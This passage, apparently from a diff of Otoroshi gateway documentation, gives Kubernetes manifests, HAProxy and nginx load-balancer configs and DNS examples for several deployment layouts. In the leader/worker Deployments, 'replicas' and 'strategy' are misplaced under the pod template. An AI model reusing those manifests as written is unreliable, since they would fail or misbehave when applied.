+  name: otoroshi-service
+spec:
+  selector:
+    run: otoroshi-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-external-service
+spec:
+  type: LoadBalancer
+  selector:
+    run: otoroshi-deployment
+  ports:
+  - port: 80
+    name: "http"
+    targetPort: "http"
+  - port: 443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: otoroshi-service-certificate
+spec:
+  description: certificate for otoroshi-service
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - otoroshi-service
+    - otoroshi-service.${namespace}.svc.cluster.local
+    - otoroshi-api-service.${namespace}.svc.cluster.local
+    - otoroshi.${domain}
+    - otoroshi-api.${domain}
+    - privateapps.${domain}
+    key:
+      algo: rsa
+      size: 2048
+    subject: uid=otoroshi-service-cert, O=Otoroshi
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+
dns.example +
+
+
otoroshi.your.otoroshi.domain      IN CNAME generated.cname.of.your.cluster.loadbalancer
+otoroshi-api.your.otoroshi.domain  IN CNAME generated.cname.of.your.cluster.loadbalancer
+privateapps.your.otoroshi.domain   IN CNAME generated.cname.of.your.cluster.loadbalancer
+api1.another.domain                IN CNAME generated.cname.of.your.cluster.loadbalancer
+api2.another.domain                IN CNAME generated.cname.of.your.cluster.loadbalancer
+*.api.the.api.domain               IN CNAME generated.cname.of.your.cluster.loadbalancer
+
+

Deploy a simple otoroshi instanciation on a bare metal kubernetes cluster

+

Here we have 2 replicas connected to the same redis instance. Nothing fancy. The otoroshi instance are exposed as nodePort so you’ll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below).

+
+
deployment.yaml +
+
+
apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-deployment
+  replicas: 2
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 1
+      maxSurge: 1
+  template:
+    metadata:
+      labels:
+        run: otoroshi-deployment
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      containers:
+      - image: maif/otoroshi:16.15.4-jdk11
+        imagePullPolicy: IfNotPresent
+        name: otoroshi
+        ports:
+          - containerPort: 8080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: APP_STORAGE
+            value: lettuce
+          - name: REDIS_URL
+            value: ${redisUrl}
+            # value: redis://redis-leader-service:6379/0
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-api-service.${namespace}.svc.cluster.local
+          - name: OTOROSHI_SECRET
+            value: ${otoroshiSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: OTOROSHI_EXPOSED_PORTS_HTTP
+            value: "80"
+          - name: OTOROSHI_EXPOSED_PORTS_HTTPS
+            value: "443"
+          - name: OTOROSHI_INITIAL_CUSTOMIZATION
+            value: >
+              {
+                "config":{
+                  "tlsSettings": {
+                    "defaultDomain": "www.${domain}",
+                    "randomIfNotFound": false
+                  },
+                  "scripts":{
+                    "enabled":true,
+                    "sinkRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator",
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector"
+                    ],
+                    "sinkConfig": {},
+                    "jobRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob"
+                    ],
+                    "jobConfig":{
+                      "KubernetesConfig": {
+                        "trust": false,
+                        "namespaces": [
+                          "*"
+                        ],
+                        "labels": {},
+                        "namespacesLabels": {},
+                        "ingressClasses": [
+                          "otoroshi"
+                        ],
+                        "defaultGroup": "default",
+                        "ingresses": false,
+                        "crds": true,
+                        "coreDnsIntegration": false,
+                        "coreDnsIntegrationDryRun": false,
+                        "kubeLeader": false,
+                        "restartDependantDeployments": false,
+                        "watch": false,
+                        "syncDaikokuApikeysOnly": false,
+                        "kubeSystemNamespace": "kube-system",
+                        "coreDnsConfigMapName": "coredns",
+                        "coreDnsDeploymentName": "coredns",
+                        "corednsPort": 53,
+                        "otoroshiServiceName": "otoroshi-service",
+                        "otoroshiNamespace": "${namespace}",
+                        "clusterDomain": "cluster.local",
+                        "syncIntervalSeconds": 60,
+                        "coreDnsEnv": null,
+                        "watchTimeoutSeconds": 60,
+                        "watchGracePeriodSeconds": 5,
+                        "mutatingWebhookName": "otoroshi-admission-webhook-injector",
+                        "validatingWebhookName": "otoroshi-admission-webhook-validation",
+                        "templates": {
+                          "service-group": {},
+                          "service-descriptor": {},
+                          "apikeys": {},
+                          "global-config": {},
+                          "jwt-verifier": {},
+                          "tcp-service": {},
+                          "certificate": {},
+                          "auth-module": {},
+                          "script": {},
+                          "organizations": {},
+                          "teams": {},
+                          "webhooks": {
+                            "flags": {
+                              "requestCert": true,
+                              "originCheck": true,
+                              "tokensCheck": true,
+                              "displayEnv": false,
+                              "tlsTrace": false
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }  
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 10
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        resources:
+          # requests:
+          #   cpu: "100m"
+          #   memory: "50Mi"
+          # limits:
+          #   cpu: "4G"
+          #   memory: "4Gi"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-service
+spec:
+  selector:
+    run: otoroshi-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-external-service
+spec:
+  selector:
+    run: otoroshi-deployment
+  ports:
+  - port: 80
+    name: "http"
+    targetPort: "http"
+    nodePort: 31080
+  - port: 443
+    name: "https"
+    targetPort: "https"
+    nodePort: 31443
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: otoroshi-service-certificate
+spec:
+  description: certificate for otoroshi-service
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - otoroshi-service
+    - otoroshi-service.${namespace}.svc.cluster.local
+    - otoroshi-api-service.${namespace}.svc.cluster.local
+    - otoroshi.${domain}
+    - otoroshi-api.${domain}
+    - privateapps.${domain}
+    key:
+      algo: rsa
+      size: 2048
+    subject: uid=otoroshi-service-cert, O=Otoroshi
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+
haproxy.example +
+
+
frontend front_nodes_http
+    bind *:80
+    mode tcp
+    default_backend back_http_nodes
+    timeout client          1m
+
+frontend front_nodes_https
+    bind *:443
+    mode tcp
+    default_backend back_https_nodes
+    timeout client          1m
+
+backend back_http_nodes
+    mode tcp
+    balance roundrobin
+    server kubernetes-node1 10.2.2.40:31080
+    server kubernetes-node2 10.2.2.41:31080
+    server kubernetes-node3 10.2.2.42:31080
+    timeout connect        10s
+    timeout server          1m
+
+backend back_https_nodes
+    mode tcp
+    balance roundrobin
+    server kubernetes-node1 10.2.2.40:31443
+    server kubernetes-node2 10.2.2.41:31443
+    server kubernetes-node3 10.2.2.42:31443
+    timeout connect        10s
+    timeout server          1m
+
nginx.example +
+
+
stream {
+
+  upstream back_http_nodes {
+    zone back_http_nodes 64k;
+    server 10.2.2.40:31080 max_fails=1;
+    server 10.2.2.41:31080 max_fails=1;
+    server 10.2.2.42:31080 max_fails=1;
+  }
+
+  upstream back_https_nodes {
+    zone back_https_nodes 64k;
+    server 10.2.2.40:31443 max_fails=1;
+    server 10.2.2.41:31443 max_fails=1;
+    server 10.2.2.42:31443 max_fails=1;
+  }
+
+  server {
+    listen     80;
+    proxy_pass back_http_nodes;
+    health_check;
+  }
+
+  server {
+    listen     443;
+    proxy_pass back_https_nodes;
+    health_check;
+  }
+  
+}
+
dns.example +
+
+
# if your loadbalancer is at ip address 10.2.2.50
+
+otoroshi.your.otoroshi.domain      IN A 10.2.2.50
+otoroshi-api.your.otoroshi.domain  IN A 10.2.2.50
+privateapps.your.otoroshi.domain   IN A 10.2.2.50
+api1.another.domain                IN A 10.2.2.50
+api2.another.domain                IN A 10.2.2.50
+*.api.the.api.domain               IN A 10.2.2.50
+
+

Deploy a simple otoroshi instanciation on a bare metal kubernetes cluster using a DaemonSet

+

Here we have one otoroshi instance on each kubernetes node (with the otoroshi-kind: instance label) with redis persistance. The otoroshi instances are exposed as hostPort so you’ll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below).

+
+
deployment.yaml +
+
+
apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: otoroshi-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-deployment
+    spec:
+      affinity:
+        nodeAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            nodeSelectorTerms:
+            - matchExpressions:
+              - key: otoroshi-kind
+                operator: In
+                values:
+                - instance
+      tolerations:
+      - key: node-role.kubernetes.io/master
+        effect: NoSchedule
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      restartPolicy: Always
+      hostNetwork: false
+      containers:
+      - image: maif/otoroshi:16.15.4-jdk11
+        imagePullPolicy: IfNotPresent
+        name: otoroshi
+        ports:
+          - containerPort: 8080
+            hostPort: 41080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            hostPort: 41443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: APP_STORAGE
+            value: lettuce
+          - name: REDIS_URL
+            value: ${redisUrl}
+            # value: redis://redis-leader-service:6379/0
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-api-service.${namespace}.svc.cluster.local
+          - name: OTOROSHI_SECRET
+            value: ${otoroshiSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: OTOROSHI_EXPOSED_PORTS_HTTP
+            value: "80"
+          - name: OTOROSHI_EXPOSED_PORTS_HTTPS
+            value: "443"
+          - name: OTOROSHI_INITIAL_CUSTOMIZATION
+            value: >
+              {
+                "config":{
+                  "tlsSettings": {
+                    "defaultDomain": "www.${domain}",
+                    "randomIfNotFound": false
+                  },
+                  "scripts":{
+                    "enabled":true,
+                    "sinkRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator",
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector"
+                    ],
+                    "sinkConfig": {},
+                    "jobRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob"
+                    ],
+                    "jobConfig":{
+                      "KubernetesConfig": {
+                        "trust": false,
+                        "namespaces": [
+                          "*"
+                        ],
+                        "labels": {},
+                        "namespacesLabels": {},
+                        "ingressClasses": [
+                          "otoroshi"
+                        ],
+                        "defaultGroup": "default",
+                        "ingresses": false,
+                        "crds": true,
+                        "coreDnsIntegration": false,
+                        "coreDnsIntegrationDryRun": false,
+                        "kubeLeader": false,
+                        "restartDependantDeployments": false,
+                        "watch": false,
+                        "syncDaikokuApikeysOnly": false,
+                        "kubeSystemNamespace": "kube-system",
+                        "coreDnsConfigMapName": "coredns",
+                        "coreDnsDeploymentName": "coredns",
+                        "corednsPort": 53,
+                        "otoroshiServiceName": "otoroshi-service",
+                        "otoroshiNamespace": "${namespace}",
+                        "clusterDomain": "cluster.local",
+                        "syncIntervalSeconds": 60,
+                        "coreDnsEnv": null,
+                        "watchTimeoutSeconds": 60,
+                        "watchGracePeriodSeconds": 5,
+                        "mutatingWebhookName": "otoroshi-admission-webhook-injector",
+                        "validatingWebhookName": "otoroshi-admission-webhook-validation",
+                        "templates": {
+                          "service-group": {},
+                          "service-descriptor": {},
+                          "apikeys": {},
+                          "global-config": {},
+                          "jwt-verifier": {},
+                          "tcp-service": {},
+                          "certificate": {},
+                          "auth-module": {},
+                          "script": {},
+                          "organizations": {},
+                          "teams": {},
+                          "webhooks": {
+                            "flags": {
+                              "requestCert": true,
+                              "originCheck": true,
+                              "tokensCheck": true,
+                              "displayEnv": false,
+                              "tlsTrace": false
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }  
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        resources:
+          # requests:
+          #   cpu: "100m"
+          #   memory: "50Mi"
+          # limits:
+          #   cpu: "4G"
+          #   memory: "4Gi"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-service
+spec:
+  selector:
+    run: otoroshi-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: otoroshi-service-certificate
+spec:
+  description: certificate for otoroshi-service
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - otoroshi-service
+    - otoroshi-service.${namespace}.svc.cluster.local
+    - otoroshi-api-service.${namespace}.svc.cluster.local
+    - otoroshi.${domain}
+    - otoroshi-api.${domain}
+    - privateapps.${domain}
+    key:
+      algo: rsa
+      size: 2048
+    subject: uid=otoroshi-service-cert, O=Otoroshi
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+
haproxy.example +
+
+
frontend front_nodes_http
+    bind *:80
+    mode tcp
+    default_backend back_http_nodes
+    timeout client          1m
+
+frontend front_nodes_https
+    bind *:443
+    mode tcp
+    default_backend back_https_nodes
+    timeout client          1m
+
+backend back_http_nodes
+    mode tcp
+    balance roundrobin
+    server kubernetes-node1 10.2.2.40:41080
+    server kubernetes-node2 10.2.2.41:41080
+    server kubernetes-node3 10.2.2.42:41080
+    timeout connect        10s
+    timeout server          1m
+
+backend back_https_nodes
+    mode tcp
+    balance roundrobin
+    server kubernetes-node1 10.2.2.40:41443
+    server kubernetes-node2 10.2.2.41:41443
+    server kubernetes-node3 10.2.2.42:41443
+    timeout connect        10s
+    timeout server          1m
+
nginx.example +
+
+
stream {
+
+  upstream back_http_nodes {
+    zone back_http_nodes 64k;
+    server 10.2.2.40:41080 max_fails=1;
+    server 10.2.2.41:41080 max_fails=1;
+    server 10.2.2.42:41080 max_fails=1;
+  }
+
+  upstream back_https_nodes {
+    zone back_https_nodes 64k;
+    server 10.2.2.40:41443 max_fails=1;
+    server 10.2.2.41:41443 max_fails=1;
+    server 10.2.2.42:41443 max_fails=1;
+  }
+
+  server {
+    listen     80;
+    proxy_pass back_http_nodes;
+    health_check;
+  }
+
+  server {
+    listen     443;
+    proxy_pass back_https_nodes;
+    health_check;
+  }
+  
+}
+
dns.example +
+
+
# if your loadbalancer is at ip address 10.2.2.50
+
+otoroshi.your.otoroshi.domain      IN A 10.2.2.50
+otoroshi-api.your.otoroshi.domain  IN A 10.2.2.50
+privateapps.your.otoroshi.domain   IN A 10.2.2.50
+api1.another.domain                IN A 10.2.2.50
+api2.another.domain                IN A 10.2.2.50
+*.api.the.api.domain               IN A 10.2.2.50
+
+

Deploy an otoroshi cluster on a cloud provider managed kubernetes cluster

+

Here we have 2 replicas of an otoroshi leader connected to a redis instance and 2 replicas of an otoroshi worker connected to the leader. We use a service of type LoadBalancer to expose otoroshi leader/worker to the rest of the world. You have to setup your DNS to bind otoroshi domain names to the LoadBalancer external CNAME (see the example below)

+
+
deployment.yaml +
+
+
---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-leader-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-leader-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-leader-deployment
+    replicas: 2
+    strategy:
+      type: RollingUpdate
+      rollingUpdate:
+        maxUnavailable: 1
+        maxSurge: 1
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      restartPolicy: Always
+      containers:
+      - image: maif/otoroshi:16.15.4-jdk11
+        imagePullPolicy: IfNotPresent
+        name: otoroshi-leader
+        ports:
+          - containerPort: 8080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: APP_STORAGE
+            value: lettuce
+          - name: REDIS_URL
+            value: ${redisUrl}
+            # value: redis://redis-leader-service:6379/0
+          - name: CLUSTER_MODE
+            value: Leader
+          - name: CLUSTER_AUTO_UPDATE_STATE
+            value: 'true'
+          - name: CLUSTER_MTLS_ENABLED
+            value: 'true'
+          - name: CLUSTER_MTLS_LOOSE
+            value: 'true'
+          - name: CLUSTER_MTLS_TRUST_ALL
+            value: 'true'
+          - name: CLUSTER_LEADER_URL
+            value: https://otoroshi-leader-api-service.${namespace}.svc.cluster.local:8443
+          - name: CLUSTER_LEADER_HOST
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: CLUSTER_LEADER_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: CLUSTER_LEADER_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: OTOROSHI_SECRET
+            value: ${otoroshiSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: OTOROSHI_INITIAL_CUSTOMIZATION
+            value: >
+              {
+                "config":{
+                  "tlsSettings": {
+                    "defaultDomain": "www.${domain}",
+                    "randomIfNotFound": false
+                  },
+                  "scripts":{
+                    "enabled":true,
+                    "sinkRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookCRDValidator",
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesAdmissionWebhookSidecarInjector"
+                    ],
+                    "sinkConfig": {},
+                    "jobRefs":[
+                      "cp:otoroshi.plugins.jobs.kubernetes.KubernetesOtoroshiCRDsControllerJob"
+                    ],
+                    "jobConfig":{
+                      "KubernetesConfig": {
+                        "trust": false,
+                        "namespaces": [
+                          "*"
+                        ],
+                        "labels": {},
+                        "namespacesLabels": {},
+                        "ingressClasses": [
+                          "otoroshi"
+                        ],
+                        "defaultGroup": "default",
+                        "ingresses": false,
+                        "crds": true,
+                        "coreDnsIntegration": false,
+                        "coreDnsIntegrationDryRun": false,
+                        "kubeLeader": false,
+                        "restartDependantDeployments": false,
+                        "watch": false,
+                        "syncDaikokuApikeysOnly": false,
+                        "kubeSystemNamespace": "kube-system",
+                        "coreDnsConfigMapName": "coredns",
+                        "coreDnsDeploymentName": "coredns",
+                        "corednsPort": 53,
+                        "otoroshiServiceName": "otoroshi-worker-service",
+                        "otoroshiNamespace": "${namespace}",
+                        "clusterDomain": "cluster.local",
+                        "syncIntervalSeconds": 60,
+                        "coreDnsEnv": null,
+                        "watchTimeoutSeconds": 60,
+                        "watchGracePeriodSeconds": 5,
+                        "mutatingWebhookName": "otoroshi-admission-webhook-injector",
+                        "validatingWebhookName": "otoroshi-admission-webhook-validation",
+                        "templates": {
+                          "service-group": {},
+                          "service-descriptor": {},
+                          "apikeys": {},
+                          "global-config": {},
+                          "jwt-verifier": {},
+                          "tcp-service": {},
+                          "certificate": {},
+                          "auth-module": {},
+                          "script": {},
+                          "organizations": {},
+                          "teams": {},
+                          "webhooks": {
+                            "flags": {
+                              "requestCert": true,
+                              "originCheck": true,
+                              "tokensCheck": true,
+                              "displayEnv": false,
+                              "tlsTrace": false
+                            }
+                          }
+                        }
+                      }
+                    }
+                  }
+                }
+              }        
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 10
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 10
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-worker-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-worker-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-worker-deployment
+    replicas: 2
+    strategy:
+      type: RollingUpdate
+      rollingUpdate:
+        maxUnavailable: 1
+        maxSurge: 1
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      restartPolicy: Always   
+      containers:
+      - image: maif/otoroshi:16.8.0-rc.1-dev
+        imagePullPolicy: IfNotPresent
+        name: otoroshi-worker
+        ports:
+          - containerPort: 8080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: CLUSTER_MODE
+            value: Worker
+          - name: CLUSTER_AUTO_UPDATE_STATE
+            value: 'true'
+          - name: CLUSTER_MTLS_ENABLED
+            value: 'true'
+          - name: CLUSTER_MTLS_LOOSE
+            value: 'true'
+          - name: CLUSTER_MTLS_TRUST_ALL
+            value: 'true'
+          - name: CLUSTER_LEADER_URL
+            value: https://otoroshi-leader-api-service.${namespace}.svc.cluster.local:8443
+          - name: CLUSTER_LEADER_HOST
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
+            value: otoroshi-leader-api-service.${namespace}.svc.cluster.local
+          - name: ADMIN_API_CLIENT_ID
+            value: ${clientId}
+          - name: CLUSTER_LEADER_CLIENT_ID
+            value: ${clientId}
+          - name: ADMIN_API_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: CLUSTER_LEADER_CLIENT_SECRET
+            value: ${clientSecret}
+          - name: HEALTH_LIMIT
+            value: "5000"
+          - name: SSL_OUTSIDE_CLIENT_AUTH
+            value: Want
+          - name: HTTPS_WANT_CLIENT_AUTH
+            value: "true"
+          - name: JAVA_OPTS
+            value: '-Xms2g -Xmx4g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
+        readinessProbe:
+          httpGet:
+            path: /ready
+            port: 8080
+          failureThreshold: 1
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+        livenessProbe:
+          httpGet:
+            path: /live
+            port: 8080
+          failureThreshold: 3
+          initialDelaySeconds: 60
+          periodSeconds: 10
+          successThreshold: 1
+          timeoutSeconds: 2
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-leader-api-service
+spec:
+  selector:
+    run: otoroshi-leader-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-leader-service
+spec:
+  selector:
+    run: otoroshi-leader-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-worker-service
+spec:
+  selector:
+    run: otoroshi-worker-deployment
+  ports:
+  - port: 8080
+    name: "http"
+    targetPort: "http"
+  - port: 8443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-leader-external-service
+spec:
+  type: LoadBalancer
+  selector:
+    run: otoroshi-leader-deployment
+  ports:
+  - port: 80
+    name: "http"
+    targetPort: "http"
+  - port: 443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: otoroshi-worker-external-service
+spec:
+  type: LoadBalancer
+  selector:
+    run: otoroshi-worker-deployment
+  ports:
+  - port: 80
+    name: "http"
+    targetPort: "http"
+  - port: 443
+    name: "https"
+    targetPort: "https"
+---
+apiVersion: proxy.otoroshi.io/v1
+kind: Certificate
+metadata:
+  name: otoroshi-service-certificate
+spec:
+  description: certificate for otoroshi-service
+  autoRenew: true
+  csr:
+    issuer: CN=Otoroshi Root
+    hosts: 
+    - otoroshi-service
+    - otoroshi-service.${namespace}.svc.cluster.local
+    - otoroshi-api-service.${namespace}.svc.cluster.local
+    - otoroshi.${domain}
+    - otoroshi-api.${domain}
+    - privateapps.${domain}
+    key:
+      algo: rsa
+      size: 2048
+    subject: uid=otoroshi-service-cert, O=Otoroshi
+    client: false
+    ca: false
+    duration: 31536000000
+    signatureAlg: SHA256WithRSAEncryption
+    digestAlg: SHA-256
+
dns.example +
+
+
otoroshi.your.otoroshi.domain      IN CNAME generated.cname.for.leader.of.your.cluster.loadbalancer
+otoroshi-api.your.otoroshi.domain  IN CNAME generated.cname.for.leader.of.your.cluster.loadbalancer
+privateapps.your.otoroshi.domain   IN CNAME generated.cname.for.leader.of.your.cluster.loadbalancer
+
+api1.another.domain                IN CNAME generated.cname.for.worker.of.your.cluster.loadbalancer
+api2.another.domain                IN CNAME generated.cname.for.worker.of.your.cluster.loadbalancer
+*.api.the.api.domain               IN CNAME generated.cname.for.worker.of.your.cluster.loadbalancer
+
+

Deploy an otoroshi cluster on a bare metal kubernetes cluster

+

Here we have 2 replicas of otoroshi leader connected to the same redis instance and 2 replicas for otoroshi worker. The otoroshi instances are exposed as nodePort so you’ll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below).

+
+
deployment.yaml +
+
+
---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: otoroshi-leader-deployment
+spec:
+  selector:
+    matchLabels:
+      run: otoroshi-leader-deployment
+  template:
+    metadata:
+      labels:
+        run: otoroshi-leader-deployment
+    replicas: 2
+    strategy:
+      type: RollingUpdate
+      rollingUpdate:
+        maxUnavailable: 1
+        maxSurge: 1
+    spec:
+      serviceAccountName: otoroshi-admin-user
+      terminationGracePeriodSeconds: 60
+      hostNetwork: false
+      restartPolicy: Always
+      containers:
+      - image: maif/otoroshi:16.15.4-jdk11
+        imagePullPolicy: IfNotPresent
+        name: otoroshi-leader
+        ports:
+          - containerPort: 8080
+            name: "http"
+            protocol: TCP
+          - containerPort: 8443
+            name: "https"
+            protocol: TCP
+        env:
+          - name: APP_STORAGE_ROOT
+            value: otoroshi
+          - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
+            value: ${password}
+          - name: APP_DOMAIN
+            value: ${domain}
+          - name: APP_STORAGE
+            value: lettuce
+          - name: REDIS_URL
+            value: ${redisUrl}
+            # value: redis://redis-leader-service:6379/0
+          - name: CLUSTER_MODE
+            value: Leader
+          - name: CLUSTER_AUTO_UPDATE_STATE
+            value: 'true'
+          - name: CLUSTER_MTLS_ENABLED
+            value: 'true'
